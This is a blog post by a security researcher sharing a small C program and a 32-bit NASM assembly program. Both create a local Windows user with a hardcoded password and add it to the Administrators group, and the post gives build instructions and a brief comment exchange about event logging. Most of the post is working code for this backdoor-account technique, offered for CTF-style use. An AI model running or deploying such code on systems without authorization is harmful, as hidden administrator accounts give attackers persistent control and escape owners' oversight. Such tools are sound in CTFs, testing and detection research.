Didier Stevens

Monday 16 March 2020

Windows Assembly Program To Create New User

Filed under: My Software — Didier Stevens @ 0:00

A friend asked me for a small program to add a new local user to a Windows system and make that user member of the Administrators group (CTF anyone? 😉 ).

I could find a program in my repository, but it was a very old program using system commands.

#include <stdio.h>
#include <windows.h>

int main(int argc, char* argv[])
{
    system("net user hack knock /add");
    system("net localgroup administrators hack /add");

    return 0;
}
The program worked as expected, however, this inspired me to make a very small program that would do this via the Windows API. Thus I developed the following 32-bit assembler program:
; Assembly code to add a new local user and make it member of Administrators group
; Written for NASM assembler (http://www.nasm.us) by Didier Stevens
; https://DidierStevens.com
; Use at your own risk
;
; Build:
;   nasm -f win32 add-admin.asm
;   Microsoft linker:
;     link /fixed /debug:none /EMITPOGOPHASEINFO /entry:main add-admin.obj kernel32.lib netapi32.lib
;       https://blog.didierstevens.com/2018/11/26/quickpost-compiling-with-build-tools-for-visual-studio-2017/
;       /fixed -> no relocation section
;       /debug:none /EMITPOGOPHASEINFO -> https://stackoverflow.com/questions/45538668/remove-image-debug-directory-from-rdata-section
;       /filealign:256 -> smaller, but no valid exe
;   MinGW linker:
;     ld -L /c/msys64/mingw32/i686-w64-mingw32/lib --strip-all add-admin.obj -l netapi32 -l kernel32
;
; History:
;   2020/03/13
;   2020/03/14 refactor
;   2020/03/15 refactor

BITS 32

%define USERNAME 'hacker'
%define PASSWORD 'P@ssw0rd'
%define ADMINISTRATORS 'administrators'

global _main
extern _NetUserAdd@16
extern _NetLocalGroupAddMembers@20
extern _ExitProcess@4

	struc USER_INFO_1
		.uName RESD 1
		.Password RESD 1
		.PasswordAge RESD 1
		.Privilege RESD 1
		.HomeDir RESD 1
		.Comment RESD 1
		.Flags RESD 1
		.ScriptPath RESD 1
	endstruc
	
	struc LOCALGROUP_MEMBERS_INFO_3
		.lgrmi3_domainandname RESD 1
	endstruc

	USER_PRIV_USER EQU 1
	UF_SCRIPT EQU 1

	section .text
_main:
	mov     ebp, esp
	sub     esp, 4
	
	; NetUserAdd(NULL, level=1, buffer, NULL)
	lea     eax, [ebp-4]
	push    eax
	push    UI1
	push    1
	push    0
	call    _NetUserAdd@16
	
	; NetLocalGroupAddMembers(NULL, administrators, level=3, buffer, 1)
	push    1
	push    LMI3
	push    3
	push    ADMINISTRATORS_UNICODE
	push    0
	call    _NetLocalGroupAddMembers@20
	
	; ExitProcess(0)
	push    0
	call    _ExitProcess@4

; uncomment next line to put data structure in .data section (increases size PE file because of extra .data section)
;	section .data

UI1:
	istruc USER_INFO_1
		at USER_INFO_1.uName, dd USERNAME_UNICODE
		at USER_INFO_1.Password, dd PASSWORD_UNICODE
		at USER_INFO_1.PasswordAge, dd 0
		at USER_INFO_1.Privilege, dd USER_PRIV_USER
		at USER_INFO_1.HomeDir, dd 0
		at USER_INFO_1.Comment, dd 0
		at USER_INFO_1.Flags, dd UF_SCRIPT
		at USER_INFO_1.ScriptPath, dd 0
	iend

USERNAME_UNICODE:
	db      __utf16le__(USERNAME), 0, 0

PASSWORD_UNICODE:
	db      __utf16le__(PASSWORD), 0, 0

ADMINISTRATORS_UNICODE:
	db      __utf16le__(ADMINISTRATORS), 0, 0

LMI3:
	istruc LOCALGROUP_MEMBERS_INFO_3
		at LOCALGROUP_MEMBERS_INFO_3.lgrmi3_domainandname, dd USERNAME_UNICODE
	iend

To create the executable, you need to assemble and link this assembly code (this is not shellcode, just assembling is not enough).
Assembling is done with nasm (-f win32 to create a 32-bit object file):

nasm -f win32 add-admin.asm

Linking can be done with Microsoft’s linker (see Quickpost: Compiling with Build Tools for Visual Studio 2017) or MinGW‘s linker.

MS:

link /fixed /debug:none /EMITPOGOPHASEINFO /entry:main add-admin.obj kernel32.lib netapi32.lib

I use /fixed so prevent the creation of a relocation section, which would make the EXE larger.

MinGW:

ld -L /c/msys64/mingw32/i686-w64-mingw32/lib –strip-all add-admin.obj -l netapi32 -l kernel32

 

In both cases, the EXE is 1536 bytes long.

 

2 Comments »

  1. Hi DIdier,

    For DFIR or SOC Folks, those codes that you have tested, does it generate event logs for monitoring?

    Comment by Anonymous — Wednesday 18 March 2020 @ 7:29

  2. Oh yes, this is just using the Windows API, so this does indeed generate events. If you want, I can create a quickpost with an event log.

    Comment by Didier Stevens — Wednesday 18 March 2020 @ 20:53


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